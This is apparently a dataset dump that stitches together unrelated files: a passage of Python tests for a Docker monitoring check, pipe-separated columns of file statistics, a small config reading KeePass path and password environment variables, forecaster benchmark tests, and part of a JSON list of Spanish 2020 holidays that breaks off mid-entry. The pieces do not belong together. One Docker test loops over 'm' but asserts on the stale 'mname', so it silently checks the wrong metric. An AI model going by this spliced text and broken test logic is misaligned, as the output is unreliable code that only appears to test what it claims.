('docker.net.bytes_rcvd', ['container_name:test-new-nginx-latest', 'docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest']),
('docker.net.bytes_sent', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']),
('docker.net.bytes_sent', ['container_name:test-new-nginx-latest', 'docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest'])
]
custom_tags = ["extra_tag", "env:testing"]
config = {
"init_config": {},
"instances": [{
"url": "unix://var/run/docker.sock",
"tags": custom_tags,
"collect_image_size": True,
"collect_images_stats": True,
},
],
}
DockerUtil().set_docker_settings(config['init_config'], config['instances'][0])
self.run_check_twice(config, force_reload=True)
for mname, tags in expected_metrics:
expected_tags = list(custom_tags)
if tags is not None:
expected_tags += tags
self.assertMetric(mname, tags=expected_tags, count=1, at_least=1)
def test_exclude_filter(self):
expected_metrics = [
('docker.containers.running', ['docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest']),
('docker.containers.running', ['docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']),
('docker.containers.stopped', ['docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest']),
('docker.containers.stopped', ['docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']),
('docker.cpu.system', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']),
('docker.cpu.user', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']),
('docker.image.size', ['image_name:redis', 'image_tag:latest']),
('docker.image.size', ['image_name:nginx', 'image_tag:latest']),
('docker.image.virtual_size', ['image_name:redis', 'image_tag:latest']),
('docker.image.virtual_size', ['image_name:nginx', 'image_tag:latest']),
('docker.images.available', None),
('docker.images.intermediate', None),
('docker.io.read_bytes', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']),
('docker.io.write_bytes', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']),
('docker.mem.cache', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']),
('docker.mem.rss', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']),
('docker.net.bytes_rcvd', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']),
('docker.net.bytes_sent', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest'])
]
config = {
"init_config": {},
"instances": [{
"url": "unix://var/run/docker.sock",
"exclude": ["docker_image:nginx"],
"collect_images_stats": True,
"collect_image_size": True,
},
],
}
DockerUtil._drop()
DockerUtil(init_config=config['init_config'], instance=config['instances'][0])
self.run_check_twice(config, force_reload=True)
for mname, tags in expected_metrics:
self.assertMetric(mname, tags=tags, count=1, at_least=1)
perf_metrics = [
"docker.cpu.system",
"docker.cpu.user",
"docker.io.read_bytes",
"docker.io.write_bytes",
"docker.mem.cache",
"docker.mem.rss",
"docker.net.bytes_rcvd",
"docker.net.bytes_sent"
]
nginx_tags = ['container_name:test-new-nginx-latest', 'docker_image:nginx:latest',
'image_name:nginx', 'image_tag:latest']
for mname in perf_metrics:
self.assertMetric(mname, tags=nginx_tags, count=0)
def test_include_filter(self):
expected_metrics = [
('docker.containers.running', ['docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest']),
('docker.containers.running', ['docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']),
('docker.containers.stopped', ['docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest']),
('docker.containers.stopped', ['docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']),
('docker.cpu.system', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']),
('docker.cpu.user', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']),
('docker.image.size', ['image_name:redis', 'image_tag:latest']),
('docker.image.size', ['image_name:nginx', 'image_tag:latest']),
('docker.image.virtual_size', ['image_name:nginx', 'image_tag:latest']),
('docker.image.virtual_size', ['image_name:redis', 'image_tag:latest']),
('docker.images.available', None),
('docker.images.intermediate', None),
('docker.io.read_bytes', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']),
('docker.io.write_bytes', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']),
('docker.mem.cache', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']),
('docker.mem.rss', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']),
('docker.net.bytes_rcvd', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']),
('docker.net.bytes_sent', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest'])
]
config = {
"init_config": {},
"instances": [{
"url": "unix://var/run/docker.sock",
"include": ["image_name:redis"],
"exclude": [".*"],
"collect_images_stats": True,
"collect_image_size": True,
},
],
}
DockerUtil._drop()
DockerUtil(init_config=config['init_config'], instance=config['instances'][0])
self.run_check_twice(config, force_reload=True)
for mname, tags in expected_metrics:
self.assertMetric(mname, tags=tags, count=1, at_least=1)
perf_metrics = [
"docker.cpu.system",
"docker.cpu.user",
"docker.io.read_bytes",
"docker.io.write_bytes",
"docker.mem.cache",
"docker.mem.rss",
"docker.net.bytes_rcvd",
"docker.net.bytes_sent"
]
nginx_tags = ['container_name:test-new-nginx-latest', 'docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest']
for m in perf_metrics:
self.assertMetric(mname, tags=nginx_tags, count=0)
def test_tags_options(self):
expected_metrics = [
('docker.containers.running', ["container_command:nginx -g 'daemon off;'"]),
('docker.containers.running', ['container_command:docker-entrypoint.sh redis-server']),
('docker.containers.stopped', ["container_command:nginx -g 'daemon off;'"]),
('docker.containers.stopped', ['container_command:docker-entrypoint.sh redis-server']),
('docker.cpu.system', ["container_command:nginx -g 'daemon off;'"]),
('docker.cpu.system', ['container_command:docker-entrypoint.sh redis-server']),
('docker.cpu.user', ['container_command:docker-entrypoint.sh redis-server']),
('docker.cpu.user', ["container_command:nginx -g 'daemon off;'"]),
('docker.image.size', ['image_name:redis', 'image_tag:latest']),
('docker.image.size', ['image_name:nginx', 'image_tag:latest']),
('docker.image.virtual_size', ['image_name:nginx', 'image_tag:latest']),
('docker.image.virtual_size', ['image_name:redis', 'image_tag:latest']),
('docker.images.available', None),
('docker.images.intermediate', None),
('docker.io.read_bytes', ["container_command:nginx -g 'daemon off;'"]),
('docker.io.read_bytes', ['container_command:docker-entrypoint.sh redis-server']),
('docker.io.write_bytes', ['container_command:docker-entrypoint.sh redis-server']),
('docker.io.write_bytes', ["container_command:nginx -g 'daemon off;'"]),
('docker.mem.cache', ["container_command:nginx -g 'daemon off;'"]),
('docker.mem.cache', ['container_command:docker-entrypoint.sh redis-server']),
('docker.mem.rss', ['container_command:docker-entrypoint.sh redis-server']),
('docker.mem.rss', ["container_command:nginx -g 'daemon off;'"]),
('docker.net.bytes_rcvd', ['container_command:docker-entrypoint.sh redis-server']),
('docker.net.bytes_rcvd', ["container_command:nginx -g 'daemon off;'"]),
('docker.net.bytes_sent', ["container_command:nginx -g 'daemon off;'"]),
('docker.net.bytes_sent', ['container_command:docker-entrypoint.sh redis-server'])
]
config = {
"init_config": {},
"instances": [{
"url": "unix://var/run/docker.sock",
"performance_tags": ["container_command"],
"container_tags": ["container_command"],
"collect_images_stats": True,
"collect_image_size": True,
},
],
}
DockerUtil._drop()
DockerUtil(init_config=config['init_config'], instance=config['instances'][0])
self.run_check_twice(config, force_reload=True)
for mname, tags in expected_metrics:
self.assertMetric(mname, tags=tags, count=1, at_least=1)
def test_set_docker_settings(self):
"""Test a client settings update"""
self.assertEqual(DockerUtil().settings["version"], "auto")
cur_loc = __file__
init_config = {
"api_version": "foobar",
"timeout": "42",
"tls_client_cert": cur_loc,
"tls_client_key": cur_loc,
"tls_cacert": cur_loc,
"tls": True
}
instance = {
"url": "https://foo.bar:42",
}
DockerUtil().set_docker_settings(init_config, instance)
client = DockerUtil().client
self.assertEqual(client.verify, cur_loc)
self.assertEqual(client.cert, (cur_loc, cur_loc))
reset_docker_settings()
def test_labels_collection(self):
expected_metrics = [
('docker.containers.running', ['docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest', 'label1:nginx']),
('docker.containers.running', ['docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']),
('docker.containers.stopped', ['docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']),
('docker.containers.stopped', ['docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest', 'label1:nginx']),
('docker.image.size', ['image_name:redis', 'image_tag:latest']),
('docker.image.size', ['image_name:nginx', 'image_tag:latest']),
('docker.image.virtual_size', ['image_name:redis', 'image_tag:latest']),
('docker.image.virtual_size', ['image_name:nginx', 'image_tag:latest']),
('docker.images.available', None),
('docker.images.intermediate', None),
('docker.mem.cache', ['container_name:test-new-nginx-latest', 'docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest', 'label1:nginx']),
('docker.mem.cache', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']),
('docker.mem.rss', ['container_name:test-new-nginx-latest', 'docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest', 'label1:nginx']),
('docker.mem.rss', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']),
('docker.mem.limit', ['container_name:test-new-nginx-latest', 'docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest', 'label1:nginx']),
('docker.mem.in_use', ['container_name:test-new-nginx-latest', 'docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest', 'label1:nginx']),
]
config = {
"init_config": {},
"instances": [{
"url": "unix://var/run/docker.sock",
"collect_labels_as_tags": ["label1"],
"collect_image_size": True,
"collect_images_stats": True,
"collect_container_count": True,
"collect_dead_container_count": True,
"collect_exited_container_count": True,
"collect_volume_count": True,
"collect_dangling_volume_count": True,
},
],
}
DockerUtil._drop()
DockerUtil(init_config=config['init_config'], instance=config['instances'][0])
self.run_check(config, force_reload=True)
for mname, tags in expected_metrics:
self.assertMetric(mname, tags=tags, count=1, at_least=1)
def test_histogram(self):
metric_suffix = ["count", "avg", "median", "max", "95percentile"]
expected_metrics = [
('docker.containers.running', ['docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest']),
('docker.containers.running', ['docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']),
('docker.containers.stopped', ['docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']),
('docker.containers.stopped', ['docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest']),
('docker.image.size', ['image_name:redis', 'image_tag:latest']),
('docker.image.size', ['image_name:nginx', 'image_tag:latest']),
('docker.image.virtual_size', ['image_name:nginx', 'image_tag:latest']),
('docker.image.virtual_size', ['image_name:redis', 'image_tag:latest']),
('docker.images.available', None),
('docker.images.intermediate', None),
]
histo_metrics = [
('docker.mem.cache', ['docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest']),
('docker.mem.cache', ['docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']),
('docker.mem.rss', ['docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest']),
('docker.mem.rss', ['docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']),
('docker.mem.limit', ['docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest']),
('docker.mem.in_use', ['docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest']),
]
config = {
"init_config": {},
"instances": [{
"url": "unix://var/run/docker.sock",
"collect_image_size": True,
"collect_images_stats": True,
"use_histogram": True,
},
],
}
DockerUtil._drop()
DockerUtil(init_config=config['init_config'], instance=config['instances'][0])
self.run_check(config, force_reload=True)
for mname, tags in expected_metrics:
self.assertMetric(mname, tags=tags, count=1, at_least=1)
for mname, tags in histo_metrics:
for suffix in metric_suffix:
self.assertMetric(mname + "." + suffix, tags=tags, at_least=1)
def test_events(self):
config = {
"init_config": {},
"instances": [{
"url": "unix://var/run/docker.sock",
"collect_images_stats": True,
},
],
}
DockerUtil().set_docker_settings(config['init_config'], config['instances'][0])
self.run_check(config, force_reload=True)
self.assertEqual(len(self.events), 2)
def test_healthcheck(self):
config = {
"init_config": {},
"instances": [{
"url": "unix://var/run/docker.sock",
"health_service_check_whitelist": ["docker_image:nginx", "docker_image:redis"],
},
],
}
DockerUtil().set_docker_settings(config['init_config'], config['instances'][0])
self.run_check(config, force_reload=True)
self.assertServiceCheck('docker.container_health', count=2)
config = {
"init_config": {},
"instances": [{
"url": "unix://var/run/docker.sock",
"health_service_check_whitelist": [],
},
],
}
DockerUtil._drop()
DockerUtil(init_config=config['init_config'], instance=config['instances'][0])
self.run_check(config, force_reload=True)
self.assertServiceCheck('docker.container_health', count=0)
def test_container_size(self):
expected_metrics = [
('docker.containers.running', ['docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest']),
('docker.containers.running', ['docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']),
('docker.containers.stopped', ['docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']),
('docker.containers.stopped', ['docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest']),
('docker.image.size', ['image_name:redis', 'image_tag:latest']),
('docker.image.size', ['image_name:nginx', 'image_tag:latest']),
('docker.image.virtual_size', ['image_name:redis', 'image_tag:latest']),
('docker.image.virtual_size', ['image_name:nginx', 'image_tag:latest']),
('docker.images.available', None),
('docker.images.intermediate', None),
('docker.mem.cache', ['container_name:test-new-nginx-latest', 'docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest']),
('docker.mem.cache', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']),
('docker.mem.rss', ['container_name:test-new-nginx-latest', 'docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest']),
('docker.mem.rss', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']),
('docker.mem.limit', ['container_name:test-new-nginx-latest', 'docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest']),
('docker.mem.in_use', ['container_name:test-new-nginx-latest', 'docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest']),
# Container size metrics
("docker.container.size_rootfs", ['container_name:test-new-nginx-latest', 'docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest']),
("docker.container.size_rootfs", ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']),
("docker.container.size_rw", ['container_name:test-new-nginx-latest', 'docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest']),
]
config = {
"init_config": {},
"instances": [{
"url": "unix://var/run/docker.sock",
"collect_container_size": True,
"collect_image_size": True,
"collect_images_stats": True,
},
],
}
DockerUtil().set_docker_settings(config['init_config'], config['instances'][0])
self.run_check(config, force_reload=True)
for mname, tags in expected_metrics:
self.assertMetric(mname, tags=tags, count=1, at_least=1)
def test_image_tags_extraction(self):
entities = [
# ({'Image': image_name}, [expected_image_name, expected_image_tag])
({'Image': 'nginx:latest'}, [['nginx'], ['latest']]),
({'Image': 'localhost/nginx:latest'}, [['localhost/nginx'], ['latest']]),
({'Image': 'localhost:5000/nginx:latest'}, [['localhost:5000/nginx'], ['latest']]),
({'RepoTags': ['redis:latest']}, [['redis'], ['latest']]),
({'RepoTags': ['localhost/redis:latest']}, [['localhost/redis'], ['latest']]),
({'RepoTags': ['localhost:5000/redis:latest']}, [['localhost:5000/redis'], ['latest']]),
({'RepoTags': ['localhost:5000/redis:latest', 'localhost:5000/redis:v1.1']}, [['localhost:5000/redis'], ['latest', 'v1.1']]),
({'RepoTags': [], 'RepoDigests': [u'datadog/docker-dd-agent@sha256:47a59c2ea4f6d9555884aacc608b303f18bde113b1a3a6743844bfc364d73b44']},
[['datadog/docker-dd-agent'], None]),
]
for entity in entities:
self.assertEqual(sorted(DockerUtil.image_tag_extractor(entity[0], 0)), sorted(entity[1][0]))
tags = DockerUtil.image_tag_extractor(entity[0], 1)
if isinstance(entity[1][1], list):
self.assertEqual(sorted(tags), sorted(entity[1][1]))
else:
self.assertEqual(tags, entity[1][1])
def test_container_name_extraction(self):
containers = [
({'Id': 'deadbeef'}, ['deadbeef']),
({'Names': ['/redis'], 'Id': 'deadbeef'}, ['redis']),
({'Names': ['/mongo', '/redis/mongo'], 'Id': 'deadbeef'}, ['mongo']),
({'Names': ['/redis/mongo', '/mongo'], 'Id': 'deadbeef'}, ['mongo']),
]
for co in containers:
self.assertEqual(DockerUtil.container_name_extractor(co[0]), co[1])
| 52.195686
| 161
| 0.607616
| 3,828
| 33,875
| 5.165622
| 0.070533
| 0.092849
| 0.08142
| 0.101143
| 0.831192
| 0.822848
| 0.798928
| 0.788308
| 0.761606
| 0.748913
| 0
| 0.009192
| 0.226037
| 33,875
| 648
| 162
| 52.276235
| 0.745023
| 0.00428
| 0
| 0.548736
| 0
| 0
| 0.473736
| 0.236102
| 0
| 0
| 0
| 0
| 0.083032
| 0
| null | null | 0
| 0.009025
| null | null | 0.001805
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
82bf8f2363fb51693d2b5d0cd12c52748f376e08
| 125
|
py
|
Python
|
python/config/security/keepass.py
|
domidemps/popote
|
fc3a4aa386f9225f9690d2743491952f67088c02
|
[
"MIT"
] | 5
|
2019-09-29T19:48:43.000Z
|
2022-02-10T10:07:46.000Z
|
python/config/security/keepass.py
|
domidemps/popote
|
fc3a4aa386f9225f9690d2743491952f67088c02
|
[
"MIT"
] | 46
|
2019-09-29T17:42:03.000Z
|
2022-02-13T18:14:06.000Z
|
python/config/security/keepass.py
|
domidemps/popote
|
fc3a4aa386f9225f9690d2743491952f67088c02
|
[
"MIT"
] | null | null | null |
import os
KEEPASS_PATH = os.environ.get("POPOTE_KEEPASS_PATH")
KEEPASS_PASSWORD = os.environ.get("POPOTE_KEEPASS_PASSWORD")
| 25
| 60
| 0.816
| 18
| 125
| 5.333333
| 0.444444
| 0.229167
| 0.25
| 0.375
| 0.520833
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.072
| 125
| 4
| 61
| 31.25
| 0.827586
| 0
| 0
| 0
| 0
| 0
| 0.336
| 0.184
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0.666667
| 0.333333
| 0
| 0.333333
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
|
0
| 7
|
82dcb76adb4c589e7f07d325cae78e8c10fd8e4d
| 2,738
|
py
|
Python
|
tests/test_benchmark.py
|
ahmed-f-alrefaie/forecaster
|
25b73a533f6195f3e5c703730e63cb3e242c649a
|
[
"MIT"
] | null | null | null |
tests/test_benchmark.py
|
ahmed-f-alrefaie/forecaster
|
25b73a533f6195f3e5c703730e63cb3e242c649a
|
[
"MIT"
] | null | null | null |
tests/test_benchmark.py
|
ahmed-f-alrefaie/forecaster
|
25b73a533f6195f3e5c703730e63cb3e242c649a
|
[
"MIT"
] | null | null | null |
import numpy as np
import pytest
from forecaster.mr_forecast import load_file
NSAMPLES = 100
@pytest.mark.linearbench
def test_piece_linear_original(benchmark):
from forecaster.func import generate_mass, pick_random_hyper, \
piece_linear, piece_linear_II
from forecaster.mr_forecast import load_file
all_hyper = load_file()
nsamples = NSAMPLES
mass = generate_mass(1.0, 0.1, nsamples)
sample_size = len(mass)
logm = np.log10(mass)
prob = np.random.random(sample_size)
logr = np.ones_like(logm)
hyper = pick_random_hyper(all_hyper, sample_size=sample_size)
def myfunc():
return [piece_linear(hyper[i], logm[i], prob[i]) for i in range(sample_size)]
benchmark(myfunc)
@pytest.mark.linearbench
def test_piece_linear_new(benchmark):
from forecaster.func import generate_mass, pick_random_hyper, \
piece_linear, piece_linear_II
from forecaster.mr_forecast import load_file
all_hyper = load_file()
nsamples = NSAMPLES
mass = generate_mass(1.0, 0.1, nsamples)
sample_size = len(mass)
logm = np.log10(mass)
prob = np.random.random(sample_size)
logr = np.ones_like(logm)
hyper = pick_random_hyper(all_hyper, sample_size=sample_size)
benchmark(piece_linear_II, hyper, logm, prob)
@pytest.mark.probrbench
def test_probR_original(benchmark):
from scipy.stats import norm, truncnorm
from forecaster.func import generate_mass, pick_random_hyper, \
piece_linear, piece_linear_II, ProbRGivenM
all_hyper = load_file()
mean = 0.01
std = 0.001
sample_size = NSAMPLES
radius = truncnorm.rvs( (0.-mean)/std, np.inf, loc=mean, scale=std, size=sample_size)
logr = np.log10(radius)
logm = np.ones_like(logr)
grid_size = 100
logm_grid = np.linspace(-3.522, 5.477, int(grid_size))
hyper = pick_random_hyper(all_hyper, sample_size=sample_size)
def func():
return np.array([ ProbRGivenM(logr[i], logm_grid, hyper[i,:])
for i in range(sample_size)])
benchmark(func)
@pytest.mark.probrbench
def test_probR_new(benchmark):
from scipy.stats import norm, truncnorm
from forecaster.func import generate_mass, pick_random_hyper, \
piece_linear, piece_linear_II, ProbRGivenM_II
all_hyper = load_file()
mean = 0.01
std = 0.001
sample_size = NSAMPLES
radius = truncnorm.rvs( (0.-mean)/std, np.inf, loc=mean, scale=std, size=sample_size)
logr = np.log10(radius)
logm = np.ones_like(logr)
grid_size = 100
logm_grid = np.linspace(-3.522, 5.477, int(grid_size))
hyper = pick_random_hyper(all_hyper, sample_size=sample_size)
benchmark(ProbRGivenM_II, logr, logm_grid, hyper)
| 31.471264
| 89
| 0.703068
| 395
| 2,738
| 4.627848
| 0.179747
| 0.098468
| 0.065646
| 0.052516
| 0.884026
| 0.884026
| 0.849015
| 0.785558
| 0.751641
| 0.751641
| 0
| 0.02598
| 0.198685
| 2,738
| 87
| 90
| 31.471264
| 0.807201
| 0
| 0
| 0.73913
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.086957
| false
| 0
| 0.15942
| 0.028986
| 0.275362
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
7d5a1dcc558df04928830e2aed62e604bc46ffd5
| 15,939
|
py
|
Python
|
tests/snapshots/snap_test_holidata/test_holidata_produces_holidays_for_locale_and_year[es_ES-2020] 1.py
|
gour/holidata
|
89c7323f9c5345a3ecbf5cd5a835b0e08cfebc13
|
[
"MIT"
] | 32
|
2019-04-12T08:01:34.000Z
|
2022-02-28T04:41:50.000Z
|
tests/snapshots/snap_test_holidata/test_holidata_produces_holidays_for_locale_and_year[es_ES-2020] 1.py
|
gour/holidata
|
89c7323f9c5345a3ecbf5cd5a835b0e08cfebc13
|
[
"MIT"
] | 74
|
2019-07-09T16:35:20.000Z
|
2022-03-09T16:41:34.000Z
|
tests/snapshots/snap_test_holidata/test_holidata_produces_holidays_for_locale_and_year[es_ES-2020] 1.py
|
gour/holidata
|
89c7323f9c5345a3ecbf5cd5a835b0e08cfebc13
|
[
"MIT"
] | 20
|
2019-01-28T07:41:02.000Z
|
2022-02-16T02:38:57.000Z
|
[
{
'date': '2020-01-01',
'description': 'Año Nuevo',
'locale': 'es-ES',
'notes': '',
'region': '',
'type': 'NF'
},
{
'date': '2020-01-06',
'description': 'Epifanía del Señor',
'locale': 'es-ES',
'notes': '',
'region': '',
'type': 'NRF'
},
{
'date': '2020-02-28',
'description': 'Día de Andalucía',
'locale': 'es-ES',
'notes': '',
'region': 'AN',
'type': 'F'
},
{
'date': '2020-03-13',
'description': 'Estatuto de Autonomía de la Ciudad de Melilla',
'locale': 'es-ES',
'notes': '',
'region': 'ML',
'type': 'F'
},
{
'date': '2020-03-19',
'description': 'San José',
'locale': 'es-ES',
'notes': '',
'region': 'CM',
'type': 'RF'
},
{
'date': '2020-03-19',
'description': 'San José',
'locale': 'es-ES',
'notes': '',
'region': 'GA',
'type': 'RF'
},
{
'date': '2020-03-19',
'description': 'San José',
'locale': 'es-ES',
'notes': '',
'region': 'MC',
'type': 'RF'
},
{
'date': '2020-03-19',
'description': 'San José',
'locale': 'es-ES',
'notes': '',
'region': 'NC',
'type': 'RF'
},
{
'date': '2020-03-19',
'description': 'San José',
'locale': 'es-ES',
'notes': '',
'region': 'PV',
'type': 'RF'
},
{
'date': '2020-03-19',
'description': 'San José',
'locale': 'es-ES',
'notes': '',
'region': 'VC',
'type': 'RF'
},
{
'date': '2020-04-09',
'description': 'Jueves Santo',
'locale': 'es-ES',
'notes': '',
'region': 'AN',
'type': 'RV'
},
{
'date': '2020-04-09',
'description': 'Jueves Santo',
'locale': 'es-ES',
'notes': '',
'region': 'AR',
'type': 'RV'
},
{
'date': '2020-04-09',
'description': 'Jueves Santo',
'locale': 'es-ES',
'notes': '',
'region': 'AS',
'type': 'RV'
},
{
'date': '2020-04-09',
'description': 'Jueves Santo',
'locale': 'es-ES',
'notes': '',
'region': 'CB',
'type': 'RV'
},
{
'date': '2020-04-09',
'description': 'Jueves Santo',
'locale': 'es-ES',
'notes': '',
'region': 'CE',
'type': 'RV'
},
{
'date': '2020-04-09',
'description': 'Jueves Santo',
'locale': 'es-ES',
'notes': '',
'region': 'CL',
'type': 'RV'
},
{
'date': '2020-04-09',
'description': 'Jueves Santo',
'locale': 'es-ES',
'notes': '',
'region': 'CM',
'type': 'RV'
},
{
'date': '2020-04-09',
'description': 'Jueves Santo',
'locale': 'es-ES',
'notes': '',
'region': 'CN',
'type': 'RV'
},
{
'date': '2020-04-09',
'description': 'Jueves Santo',
'locale': 'es-ES',
'notes': '',
'region': 'EX',
'type': 'RV'
},
{
'date': '2020-04-09',
'description': 'Jueves Santo',
'locale': 'es-ES',
'notes': '',
'region': 'GA',
'type': 'RV'
},
{
'date': '2020-04-09',
'description': 'Jueves Santo',
'locale': 'es-ES',
'notes': '',
'region': 'IB',
'type': 'RV'
},
{
'date': '2020-04-09',
'description': 'Jueves Santo',
'locale': 'es-ES',
'notes': '',
'region': 'MC',
'type': 'RV'
},
{
'date': '2020-04-09',
'description': 'Jueves Santo',
'locale': 'es-ES',
'notes': '',
'region': 'MD',
'type': 'RV'
},
{
'date': '2020-04-09',
'description': 'Jueves Santo',
'locale': 'es-ES',
'notes': '',
'region': 'ML',
'type': 'RV'
},
{
'date': '2020-04-09',
'description': 'Jueves Santo',
'locale': 'es-ES',
'notes': '',
'region': 'NC',
'type': 'RV'
},
{
'date': '2020-04-09',
'description': 'Jueves Santo',
'locale': 'es-ES',
'notes': '',
'region': 'PV',
'type': 'RV'
},
{
'date': '2020-04-09',
'description': 'Jueves Santo',
'locale': 'es-ES',
'notes': '',
'region': 'RI',
'type': 'RV'
},
{
'date': '2020-04-10',
'description': 'Viernes Santo',
'locale': 'es-ES',
'notes': '',
'region': '',
'type': 'NRV'
},
{
'date': '2020-04-12',
'description': 'Pascua',
'locale': 'es-ES',
'notes': '',
'region': '',
'type': 'NRV'
},
{
'date': '2020-04-13',
'description': 'Lunes de Pascua',
'locale': 'es-ES',
'notes': '',
'region': 'CB',
'type': 'RV'
},
{
'date': '2020-04-13',
'description': 'Lunes de Pascua',
'locale': 'es-ES',
'notes': '',
'region': 'CM',
'type': 'RV'
},
{
'date': '2020-04-13',
'description': 'Lunes de Pascua',
'locale': 'es-ES',
'notes': '',
'region': 'CT',
'type': 'RV'
},
{
'date': '2020-04-13',
'description': 'Lunes de Pascua',
'locale': 'es-ES',
'notes': '',
'region': 'IB',
'type': 'RV'
},
{
'date': '2020-04-13',
'description': 'Lunes de Pascua',
'locale': 'es-ES',
'notes': '',
'region': 'NC',
'type': 'RV'
},
{
'date': '2020-04-13',
'description': 'Lunes de Pascua',
'locale': 'es-ES',
'notes': '',
'region': 'PV',
'type': 'RV'
},
{
'date': '2020-04-13',
'description': 'Lunes de Pascua',
'locale': 'es-ES',
'notes': '',
'region': 'RI',
'type': 'RV'
},
{
'date': '2020-04-13',
'description': 'Lunes de Pascua',
'locale': 'es-ES',
'notes': '',
'region': 'VC',
'type': 'RV'
},
{
'date': '2020-04-23',
'description': 'Fiesta de Castilla y León',
'locale': 'es-ES',
'notes': '',
'region': 'CL',
'type': 'F'
},
{
'date': '2020-04-23',
'description': 'San Jorge / Día de Aragón',
'locale': 'es-ES',
'notes': '',
'region': 'AR',
'type': 'RF'
},
{
'date': '2020-05-01',
'description': 'Fiesta del Trabajo',
'locale': 'es-ES',
'notes': '',
'region': '',
'type': 'NF'
},
{
'date': '2020-05-02',
'description': 'Fiesta de la Comunidad de Madrid',
'locale': 'es-ES',
'notes': '',
'region': 'MD',
'type': 'F'
},
{
'date': '2020-05-30',
'description': 'Día de Canarias',
'locale': 'es-ES',
'notes': '',
'region': 'CN',
'type': 'F'
},
{
'date': '2020-06-09',
'description': 'Día de la Región de Murcia',
'locale': 'es-ES',
'notes': '',
'region': 'MC',
'type': 'F'
},
{
'date': '2020-06-09',
